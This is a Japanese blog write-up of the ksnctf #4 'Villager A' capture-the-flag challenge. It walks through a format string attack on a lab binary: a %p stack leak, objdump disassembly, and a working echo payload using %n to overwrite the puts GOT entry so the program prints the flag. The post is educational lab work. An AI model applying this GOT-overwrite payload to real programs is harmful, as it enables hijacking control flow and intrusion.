スキップしてメイン コンテンツに移動

ksnctf #4 Villager A 初めての書式文字列攻撃。

 ksnctfの4問目、Villager A を解きました。

問題


 問題ページにはアドレス、ID、パスワードが書かれているのでSSHでログイン。

 ログインしたら、とりあえずls。

$ ls
flag.txt  q4  readme.txt

 readmeには大したこと書いてなかった。

 flag.txtはもちろん開けない。

 とりあえずq4を実行してみる。

$ ./q4
What's your name?
Sugita Genpaku
Hi, Sugita Genpaku

Do you want the flag?
はい
Do you want the flag?
yes
Do you want the flag?
نعم فعلا
Do you want the flag?
いいえ
Do you want the flag?
no
I see. Good bye.

 "no"と答えるまで煽られ続ける模様。

 ユーザーが入力した値を出力しているあたり、この前本で読んだばかりの書式文字列攻撃を使うっぽい。

 いきなりアセンブリ読むのもアレなのでstringsかけてみる。

 stringsコマンドは、ファイルに含まれる文字列を出力してくれる。

 strings q4
/lib/ld-linux.so.2
libstdc++.so.6
__gmon_start__
_Jv_RegisterClasses
__gxx_personality_v0
libm.so.6
libgcc_s.so.1
libc.so.6
_IO_stdin_used
fopen
puts
putchar
stdin
printf
fgets
strcmp
__libc_start_main
CXXABI_1.3
GLIBC_2.1
GLIBC_2.0
PTRh
[^_]
What's your name?
Hi, 
Do you want the flag?
I see. Good bye.
flag.txt

 どうにかすればfopenでflag.txtの中身を出力してくれると予想。

 ここでもう一度q4を実行。


$ ./q4
What's your name?
AAAA%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
Hi, AAAA0x400,0x4698c0,0x8,0x14,0x61efc4,0x41414141,0x252c7025,0x70252c70,0x2c70252c,0x252c7025

 これは、例えばC言語で"printf(str)"(ここでstrは、ユーザーが値を入力した 文字列変数)としてしまったことによって起きる現象で、文字列にAAAA%p,%p,%p,%p,%p,%pなどと入力されてしまうと"printf(AAAA%p,%p,%p,%p,%p,%p)"となり、スタックからデータが読み込まれてしまう。

 やはり書式文字列攻撃ができる気がする。

 逆アセンブルをして処理を見てみる。まずはメイン関数。
$ objdump -d  --no -M intel q4
~~省略~~
080485b4 <main>:
 80485b4: push   ebp
 80485b5: mov    ebp,esp
 80485b7: and    esp,0xfffffff0
 80485ba: sub    esp,0x420
 80485c0: mov    DWORD PTR [esp],0x80487a4
 80485c7: call   80484c4 <puts@plt>
 80485cc: mov    eax,ds:0x8049a04
 80485d1: mov    DWORD PTR [esp+0x8],eax
 80485d5: mov    DWORD PTR [esp+0x4],0x400
 80485dd: lea    eax,[esp+0x18]
 80485e1: mov    DWORD PTR [esp],eax
 80485e4: call   8048484 <fgets@plt>
 80485e9: mov    DWORD PTR [esp],0x80487b6
 80485f0: call   80484b4 <printf@plt>
 80485f5: lea    eax,[esp+0x18]
 80485f9: mov    DWORD PTR [esp],eax
 80485fc: call   80484b4 <printf@plt>
 8048601: mov    DWORD PTR [esp],0xa
 8048608: call   8048474 <putchar@plt>
 804860d: mov    DWORD PTR [esp+0x418],0x1
 8048618: jmp    8048681 <main+0xcd>
 804861a: mov    DWORD PTR [esp],0x80487bb
 8048621: call   80484c4 <puts@plt>
 8048626: mov    eax,ds:0x8049a04
 804862b: mov    DWORD PTR [esp+0x8],eax
 804862f: mov    DWORD PTR [esp+0x4],0x400
 8048637: lea    eax,[esp+0x18]
 804863b: mov    DWORD PTR [esp],eax
 804863e: call   8048484 <fgets@plt>
 8048643: test   eax,eax
 8048645: sete   al
 8048648: test   al,al
 804864a: je     8048656 <main+0xa2>
 804864c: mov    eax,0x0
 8048651: jmp    80486dc <main+0x128>
 8048656: mov    DWORD PTR [esp+0x4],0x80487d1
 804865e: lea    eax,[esp+0x18]
 8048662: mov    DWORD PTR [esp],eax
 8048665: call   80484e4 <strcmp@plt>
 804866a: test   eax,eax
 804866c: jne    8048681 <main+0xcd>
 804866e: mov    DWORD PTR [esp],0x80487d5
 8048675: call   80484c4 <puts@plt>
 804867a: mov    eax,0x0
 804867f: jmp    80486dc <main+0x128>
 8048681: mov    eax,DWORD PTR [esp+0x418]
 8048688: test   eax,eax
 804868a: setne  al
 804868d: test   al,al
 804868f: jne    804861a <main+0x66>
 8048691: mov    DWORD PTR [esp+0x4],0x80487e6
 8048699: mov    DWORD PTR [esp],0x80487e8
 80486a0: call   80484a4 <fopen@plt>
 80486a5: mov    DWORD PTR [esp+0x41c],eax
 80486ac: mov    eax,DWORD PTR [esp+0x41c]
 80486b3: mov    DWORD PTR [esp+0x8],eax
 80486b7: mov    DWORD PTR [esp+0x4],0x400
 80486bf: lea    eax,[esp+0x18]
 80486c3: mov    DWORD PTR [esp],eax
 80486c6: call   8048484 <fgets@plt>
 80486cb: lea    eax,[esp+0x18]
 80486cf: mov    DWORD PTR [esp],eax
 80486d2: call   80484b4 <printf@plt>
 80486d7: mov    eax,0x0
 80486dc: leave  
 80486dd: ret    
 80486de: nop
 80486df: nop

 fopenを使ってフラグを読み出す前の"Do you want the flag?"の質問に"no"と答えるとプログラムの最後に飛ばされ、それ以外を答えるともう一度質問するようになっているために、flagを出力する処理がされないことがわかった。

 ということで、どうにかしてプログラムの実行位置を"8048691: mov DWORD PTR [esp+0x4],0x80487e6"の部分まで持ってこなければならない。なんとなくputs関数を見てみると、、、

080484c4 <puts@plt>:
 80484c4: jmp    DWORD PTR ds:0x80499f4
 80484ca: push   0x30
 80484cf: jmp    8048454 <_init+0x30>

 2行目の"80484c4: jmp DWORD PTR ds:0x80499f4"で、"0x80499f4"に書かれているアドレスに処理が移動するので、"0x80499f4"にflagを表示させる処理が始まっている"0x8048691"を書き込ことができたらおk。

 メモリに数値を書き込みたいとき、"%n"というフォーマット指定子を使う。

 %i(i:整数値)\$nを使うと、i番目のスタックに格納されている値が示すアドレスに、現在printfで表示されている文字数が4バイト整数値として書き込まれる。

 また、"%hn"は2バイト整数値、"%hhn"は1バイト整数値として書き込む。

 これらの性質を利用して実際に"0x80499f4"に"0x8048691"を書き込んでみる。

 まず、%nで書き込むために"0x80499f4"というアドレスを指定。

 リトルエンディアンであることに注意。

$ echo -e "\xf4\x99\x04\x08%p,%p,%p,%p,%p,%p,%p,%p" | ./q4
What's your name?
Hi, ?0x400,0xc738c0,0x8,0x14,0x9e0fc4,0x80499f4,0x252c7025,0x70252c70

 6番目のスタックに"0x80499f4"と書き込むことができた。
 
 次に"0x80499f4"に"0x8048691"(=10進数で134514321)と書き込む。

 すでにアドレスの指定で4文字入力したので、あとは134514317文字入力し、%6\$nを使って書き込めば良い。

 この時、"%j(j:整数値)x"とすればj文字入力することができるため…

$ echo -e "\xf4\x99\x04\x08%134514317x%6\$n" | ./q4
What's your name?
Hi, ?

~~1億3451万4317個の空白文字〜〜

FLAG_XXXXXXXXXXXXX 

 1〜2分間空白文字が出力された後、FLAGが出てきた。

 ここでは分かりやすくする為に%nのみを使ってメモリの値を操作したが、%hnや%hhnを使ったほうがよりスマートに解くことができる。

まとめ

 めっっっっちゃ疲れた。。。

 

コメント

このブログの人気の投稿

i3wm 厨二感溢れる軽量デスクトップ環境

 皆さんは、i3というデスクトップ環境をご存知ですか?  i3(i3ウィンドウマネージャ, i3wm)は、マウスをほとんど使わずに操作することができる、超軽量デスクトップ環境です。  またi3wmは、今現在最も新しい タイル型ウィンドウマネージャー で、マウスを使わずにカタカタカタ、ッターンとショートカットを打ち込むだけで画面がどんどん変わっていくので、側から見ると厨二感溢れるデスクトップ環境となっています。  今回は、i3wmのインストール方法と、使い方を紹介します。  余談ですが、i3に関してネットで調べるときには"i3"と検索するのではなく"i3wm"と調べると、ヒットしやすくなります。(某CPUや某電気自動車などが出てくるので) i3wmのインストール  今回は、ubuntuへのインストールです。(ちなみに自分はubuntu17.04)  まずはi3wm本体のインストール $ sudo apt install i3 次にdmenuとcomptonをインストール $ sudo apt install dmenu compton dmenuはi3wmでアプリケーションを起動するときに使い、 comptonはターミナルの透過のために必要なものです。 インストールが終わったら再起動してログイン画面でデスクトップ環境を"i3"にしてログインします。 使い方  i3wmが開くと次のような質問をされます。 ~/.config/i3/config を作るか modキーは何にするか configファイルは作っておいたほうがいいと思います。  modキーはi3wmにおいてショートカットを使うときに押すキーです。これはwindowsキーやcommandキーがいいと思います。  ここにショートカットに一覧を載せておきます。  (ちなみに下の変なマークはmodキー) Basics  + ↩︎ open new terminal  +  j focus left  +  k focus down  +  l focus up  +  ; focus right  +  space toggle f

Parallels Desktop Lite -Macに無料でLinuxの仮想環境を作る

 今回は、有名な仮想化ソフト"Parallels Desktop"の無料版、"Parallels Desktop Lite"を紹介したいと思います。  では早速、仮想環境などの説明は省いてParallels Desktop Liteの説明から行きましょ う。 Parallels Desktop Liteって?  Parallels Desktop Liteはその名の通りParallels Desktopの機能限定版で、App Storeからインストールすることができます。   Parallels Desktopとは違い、Linux系osの仮想環境は無料で構築することができます。(Windowsを入れる際には課金が必要) 簡単!仮想環境の構築  Parallels Desktop Liteをインストールして開くと、次のようなウィンドウが開きます。  Linuxのisoイメージファイルは、自分でダウンロード、下の「無料システム」の部分からダウンロードのどちらでも構いません。  僕は、Ubuntuの公式ページから、Ubuntu17.04をダウンロードしました。 インストール時に気になった部分は一点だけで、 この画面の、"高速インストール"を有効にしてインストールすると、設定がおかしなことになっていて使い物になりませんでした。(あくまでも自分の場合)    このあと、新しい仮想マシンが立ち上がるので、あとはいつも通りLinuxのインストールをするだけです。 使ってみての感想  これ、めちゃめちゃ使いやすいです。  インストールしたosに"parallels tools"をインストールすると、なお使いやすい。  parallels toolsのインストールは、Linuxのインストール後、ウィンドウのどこかに通知がされると思うのでその手順に従ってください。  これには、parallelsのウィンドウサイズに合わせてosのディスプレイサイズを合わせてくれる機能や、macとのファイル共有機能、macと仮想環境との間でシームレスにコピペができる機能が含まれています。  この機能は、

ページビューの合計

ラベル一覧を表示